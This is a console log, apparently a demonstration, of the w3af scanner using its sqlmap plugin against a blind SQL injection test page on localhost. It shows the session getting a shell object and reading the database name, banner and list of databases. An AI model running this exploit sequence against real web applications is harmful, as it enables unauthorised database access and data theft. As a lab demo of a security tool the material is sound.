dz0@sock3t:~/w3af$ ./w3af w3af>>> plugins w3af/plugins>>> output console,textFile w3af/plugins>>> output Enabled output plugins: textFile console w3af/plugins>>> output config textFile w3af/plugin/textFile>>> set fileName output-w3af.txt w3af/plugin/textFile>>> set verbosity 10 w3af/plugin/textFile>>> back w3af/plugins>>> output config console w3af/plugin/console>>> set verbosity 0 w3af/plugin/console>>> back w3af/plugins>>> output Enabled output plugins: textFile console w3af/plugins>>> back w3af>>> exploit w3af/exploit>>> exploit config sqlmap w3af/plugin/sqlmap>>> set url http://localhost/w3af/blindSqli/blindSqli-integer.php w3af/plugin/sqlmap>>> set injvar id w3af/plugin/sqlmap>>> set data id=1 w3af/plugin/sqlmap>>> view Parameter Value Description ========= ===== =========== equalLimit 0.85 Set the equal limit variable url http://localhost/w3af/blindSqli/blindSqli-integer.php URL to exploit with fastExploit() equAlgorithm setIntersection The algorithm to use in the comparison of true and false response for blind sql. goodSamaritan True Enable or disable the good samaritan module generateOnlyOne True If true, this plugin will try to generate only one shell object. injvar id The variable name where to inject. data id=1 The data, like: 'f00=bar' method GET Method to use with fastExploit() w3af/plugin/sqlmap>>> back w3af/exploit>>> fastexploit sqlmap sqlmap coded by inquis and belch SQL injection could be verified, trying to create the DB driver. Trying to exploit using vulnerability with id: 9. Please wait... Vulnerability successfully exploited. This is a list of available shells: - [0] = 5.0.0" | ruser: "root@localhost" )> Please use the interact command to interact with the shell objects. w3af/exploit>>> interact 0 Execute "endInteraction" to get out of the remote shell. Commands typed in this menu will be runned on the remote web server. w3af/exploit/sqlmap-0>>> help w3af/exploit/sqlmap-0>>> help: --- sqlmap coded by inquis and belch fingerprint perform an exaustive database fingerprint banner get database banner current-user get current database user current-db get current database name users get database users dbs get available databases tables [db] get available databases tables (optional: database) columns [db] get table columns (required: table optional: database) dump
[db] dump a database table (required: -T optional: -D) file read a specific file content expression expression to evaluate union-check check for UNION sql injection --- w3af/exploit/sqlmap-0>>>current-db goodSamaritan(w3af_test)>>> current-db: 'w3af_test' w3af/exploit/sqlmap-0>>>banner goodSamaritan(5.0.45-Debian_1ubuntu3.1-log)>>> banner: '5.0.45-Debian_1ubuntu3.1-log' w3af/exploit/sqlmap-0>>>dbs goodSamaritan(w3af_test)>>> Available databases: [4]: [*] bd_fiuba [*] information_schema [*] mysql w3af/exploit/sqlmap-0>>> w3af/exploit>>> w3af>>> got shell? dz0@sock3t:~/w3af$